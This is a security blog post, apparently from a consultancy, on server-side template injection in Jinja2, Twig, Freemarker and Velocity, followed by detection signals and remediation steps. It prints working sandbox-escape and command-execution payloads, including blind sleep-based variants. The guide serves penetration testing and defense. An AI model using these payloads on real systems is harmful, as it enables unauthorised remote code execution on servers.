BIPI
BIPI

Server-Side Template Injection: Jinja2, Twig, Velocity, Freemarker

Cybersecurity

A field guide to SSTI across four major template engines. Polyglot probes, sandbox escapes, real CVE context like Spring4Shell, and the WAF and logging signatures that catch operators before they reach RCE.

By Arjun Raghavan, Security & Systems Lead, BIPI · December 2, 2023 · 11 min read

#ssti#jinja2#twig#freemarker#pentesting

Why SSTI still pays in 2023

Template injection happens when user input is concatenated into a template string instead of passed as data. The difference between {{user.name}} and render('Hello ' + name) is the difference between safe and remote code execution. We still find it on email rendering, PDF invoices, error pages, and admin notification builders.

Polyglot detection

Start with the Burp SSTI polyglot ${{<%[%'"}}%\. Then bisect with engine-specific math: {{7*7}} for Jinja2 and Twig, ${7*7} for Freemarker and JSP EL, #{7*7} for Ruby ERB, *{7*7} for Thymeleaf. If 49 lands in the response, you have a template context.

Jinja2 sandbox escape

The classic chain is {{ ''.__class__.__mro__[1].__subclasses__() }} to enumerate classes, then pick subprocess.Popen or os._wrap_close and call it. Flask debug pages, Ansible vars, and SaltStack pillars are common landing zones.

  • {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
  • {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
  • {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

Twig and Symfony

Twig sandbox can be escaped using {{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}. Older Symfony versions exposed this directly through profiler routes.

Freemarker and Velocity

Freemarker: <#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}. Velocity: #set($e='exp'){$e.getClass().forName('java.lang.Runtime').getMethod('exec',...)}. Both show up in CMS plugins and email templates.

Tooling

tplmap automates engine fingerprinting and exploitation but is noisy. Burp Collaborator helps confirm blind SSTI by exfiltrating {{config}} or system properties out of band. For Java stacks, ysoserial gadgets are sometimes reachable through template eval.

Blind SSTI

When output is suppressed, use time based payloads. Jinja2: {{''.__class__.__mro__[1].__subclasses__()[INDEX]('sleep 10',shell=True)}}. Freemarker: ${'freemarker.template.utility.Execute'?new()('sleep 10')}. Confirm with Collaborator DNS pings.

Detection signals for defenders

  • Template engine errors in logs containing UndefinedError or TemplateSyntaxError with user IPs
  • WAF rules for {{, ${, <#assign, and double brace patterns in request bodies
  • Outbound DNS from app servers to recently registered domains
  • Process tree showing python or java spawning sh or bash from a web worker

Remediation

  1. Never concatenate user input into template source, pass as context variables
  2. Enable Jinja2 SandboxedEnvironment and Twig sandbox with strict policy
  3. Disable Freemarker new() and Velocity ClassTool in production configs
  4. Patch SpEL and OGNL evaluation paths, audit any eval style helpers
12m
Median RCE time once SSTI is confirmed
17
Template engines covered by tplmap
If a template error message reaches the user with stack frames, the attacker already has half the payload.

Read more field notes, explore our services, or get in touch at info@bipi.in. Privacy Policy · Terms.